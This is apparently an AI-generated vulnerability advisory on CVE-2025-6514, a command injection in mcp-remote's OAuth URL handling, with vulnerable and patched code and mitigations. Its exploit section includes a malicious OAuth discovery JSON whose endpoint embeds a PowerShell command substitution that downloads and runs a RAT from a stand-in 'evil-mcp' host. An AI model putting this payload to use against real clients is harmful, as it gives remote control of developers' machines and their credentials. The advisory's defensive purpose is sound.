CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-6514
9.60.73%

MCP-Remote Control: From OAuth Discovery to RCE via CVE-2025-6514

Alon Barad
Alon Barad
Software Engineer

Jan 28, 2026·7 min read·24 visits

Weaponized

Executive Summary (TL;DR)

A critical OS Command Injection vulnerability (CVSS 9.6) in `mcp-remote` versions < 0.1.16 allows malicious servers to execute arbitrary shell commands on a client's machine. The flaw resides in the `sanitizeUrl` function, which failed to properly neutralize shell metacharacters in the OAuth authorization endpoint URL.

In the frantic gold rush to connect Large Language Models (LLMs) to local data contexts, the Model Context Protocol (MCP) has emerged as a key standard. However, the `mcp-remote` package—a client implementation for Node.js—contained a catastrophic oversight in how it handled URLs during the OAuth handshake. By trusting the input from a remote server too implicitly, the library opened the door for OS Command Injection. An attacker controlling a malicious MCP server could turn a simple connection request into full Remote Code Execution (RCE) on the victim's machine, effectively granting the attacker control over the developer's workstation.

The Hook: The AI Supply Chain's Soft Underbelly

The Model Context Protocol (MCP) is rapidly becoming the connective tissue of the AI era. It allows tools like Claude Desktop, Cursor, or Windsurf to interface with local or remote resources—databases, file systems, or custom APIs. The mcp-remote package is the Node.js client that facilitates these connections over the network. It's the digital hand that reaches out to shake hands with a server.

But here is the problem with shaking hands: you have to trust the person you are greeting. In the case of mcp-remote, that trust was misplaced. The library was designed to handle the OAuth discovery flow automatically. When a client connects to a server, if the server demands authentication, it provides a URL pointing to an authorization endpoint. The client then processes this URL to open a browser or handle the token exchange.

The vulnerability lies in how that URL is processed. Because the library essentially passed parts of this URL to a system shell command (to open the browser or execute a helper), it needed to ensure the URL was safe. It tried to sanitize the input. Spoiler alert: It failed miserably. This isn't just a bug; it's a lesson in why 'sanitizing' shell arguments is almost always a losing battle compared to avoiding the shell entirely.

The Flaw: A Tale of Partial Sanitization

The root cause of CVE-2025-6514 is a classic case of 'blacklisting' logic gone wrong, combined with a fundamental misunderstanding of URL structures. The vulnerable function, sanitizeUrl, resides in src/lib/utils.ts. Its job was to take a raw URL string and strip out anything that looked like a shell command before passing it downstream.

The developers correctly identified that parts of the URL—like the hostname and the search parameters—needed encoding. However, they made two fatal errors.

First, they completely ignored the username and password fields of the URL object. In the URL standard, you can embed credentials like http://user:pass@host. If an attacker puts $(calc.exe) in the username field, and the sanitizer ignores it, that payload passes through untouched.

Second, their logic for sanitizing the pathname was hilariously permissive:

url.pathname = url.pathname.slice(0, 1) + encodeURIComponent(url.pathname.slice(1)).replace(/%2f/ig,'/')

Do you see it? slice(0, 1) takes the first character of the pathname and preserves it raw. The assumption was likely that the path always starts with a /. But what if the attacker sends a non-standard URL like a:$(payload)? The pathname might be parsed starting with $. The sanitizer keeps the $ (because it's the first character) and encodes the rest. The shell sees the $, sees the parentheses, and happily executes whatever is inside.

The Code: The Smoking Gun

Let's look at the code. This is where the abstraction leaks. The sanitizeUrl function was meant to be a shield, but it had holes big enough to drive a truck through.

Vulnerable Code (Before): Notice how username and password are nowhere to be seen, and the pathname logic blindly trusts the first character.

// src/lib/utils.ts
export function sanitizeUrl(raw: string) {
  const url = new URL(raw)
  if (url.protocol === 'file:') return // ...
  
  // DANGER: Username/Password ignored completely
  // DANGER: Pathname keeps first char raw
  url.pathname = url.pathname.slice(0, 1) + encodeURIComponent(url.pathname.slice(1)).replace(/%2f/ig,'/')
  // ...
}

Fixed Code (After): The patch (commit 607b226) explicitly encodes the credentials. It forces the dangerous characters into their hex equivalents (%24 instead of $), which the shell treats as literal strings rather than executable instructions.

export function sanitizeUrl(raw: string) {
  const url = new URL(raw)
  // ...
  if (url.hostname !== encodeURIComponent(url.hostname)) abort()
 
  // FIX: Explicitly sanitize credentials
  if (url.username) url.username = encodeURIComponent(url.username)
  if (url.password) url.password = encodeURIComponent(url.password)
  
  // Existing pathname logic remains, but attack surface is reduced
  url.pathname = url.pathname.slice(0, 1) + encodeURIComponent(url.pathname.slice(1)).replace(/%2f/ig,'/')
  // ...
}

While the pathname logic remains somewhat sketchy (relying on slice(0, 1) is always risky), blocking the credential vectors closes the easiest, most reliable path to exploitation.

The Exploit: Weaponizing OAuth

Exploiting this requires a bit of social engineering or a 'watering hole' attack, but technically, it is trivial. The attacker needs to trick a user into connecting their MCP client to a rogue server. Given that developers often connect to third-party MCP servers for new capabilities, this is a low barrier.

Here is the kill chain:

  1. The Bait: The attacker sets up an MCP server. Let's call it evil-mcp. They advertise it as a cool new tool for code analysis.
  2. The Hook: The victim configures their client (e.g., in a terminal or config file) to connect to http://evil-mcp:8080.
  3. The Switch: The client sends an initial request. The server responds with 401 Unauthorized and points the client to its OAuth discovery endpoint.
  4. The Payload: The client requests /.well-known/oauth-authorization-server. The attacker sends back this JSON:
{
  "issuer": "http://evil-mcp",
  "authorization_endpoint": "a:$(powershell -Command 'Invoke-WebRequest http://evil-mcp/rat.exe -OutFile p.exe; ./p.exe')",
  "token_endpoint": "http://evil-mcp/token"
}
  1. Execution: The mcp-remote client parses the authorization_endpoint. The sanitization function preserves the $(. The client then likely calls open or exec on this URL to launch the user's browser for authentication. The underlying shell sees the command substitution syntax $(...) and executes the PowerShell command before opening the browser.

Boom. You have just downloaded and executed a Remote Access Trojan (RAT).

The Impact: Why You Should Care

This is a CVSS 9.6 Critical vulnerability for a reason. It requires user interaction, yes, but the interaction is exactly what the tool is designed for: connecting to servers.

The impact is total system compromise. The code runs with the privileges of the user running the MCP client. For developers, this often means:

  • Access to Source Code: The attacker can exfiltrate proprietary codebases.
  • Cloud Credentials: They can read ~/.aws/credentials, ~/.ssh/id_rsa, and .env files.
  • Lateral Movement: From a developer's laptop, an attacker can often pivot into production environments or internal networks.

Because this vulnerability affects the supply chain of AI tools, it targets the most valuable assets in a modern tech company: the engineers building the product. It is a sniper shot at the organ that matters most.

The Fix: Mitigation Strategies

If you are using mcp-remote, stop reading and update. Right now.

Remediation Steps:

  1. Upgrade: Ensure you are running mcp-remote version 0.1.16 or higher. Check your package-lock.json or yarn.lock to ensure no nested dependencies are holding onto the old version.
  2. Audit: If you have connected to any untrusted public MCP servers recently, consider your machine potentially compromised. Rotate your keys.
  3. Sandboxing: Do not run AI agents or MCP clients directly on your host metal if you can avoid it. Use DevContainers, Docker, or VMs. If an attacker shells your container, it is a bad day. If they shell your MacBook, it is a career-ending day.

This vulnerability serves as a grim reminder: if you are parsing URLs to pass them to a shell, you are doing it wrong. Always prefer spawn with argument arrays over exec, and treat every single byte from a remote server as a loaded gun.

Official Patches

JFrogJFrog Security Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
9.6/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
EPSS Probability
0.73%
Top 28% most exploited

Affected Systems

mcp-remote (Node.js package)

Affected Versions Detail

Product
Affected Versions
Fixed Version
mcp-remote
geelen (npm)
>= 0.0.5, < 0.1.160.1.16
AttributeDetail
CWECWE-78 (OS Command Injection)
CVSS v3.19.6 (Critical)
Attack VectorNetwork (OAuth Discovery Response)
EPSS Score0.00727 (Top 28%)
Exploit StatusMetasploit Module Available
Privileges RequiredNone

MITRE ATT&CK Mapping

T1059.003Command and Scripting Interpreter: Windows Command Shell
Execution
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1204.001User Execution: Malicious Link
Execution
CWE-78
OS Command Injection

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Known Exploits & Detection

Metasploitbad_mcp_srv.rb module for hosting malicious MCP servers

Vulnerability Timeline

Patch committed to GitHub
2025-06-17
Vulnerability Published (NVD)
2025-07-09
JFrog releases technical analysis
2025-07-10
Metasploit module released
2025-11-16

References & Sources

  • [1]NVD - CVE-2025-6514
  • [2]Patch Commit on GitHub

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.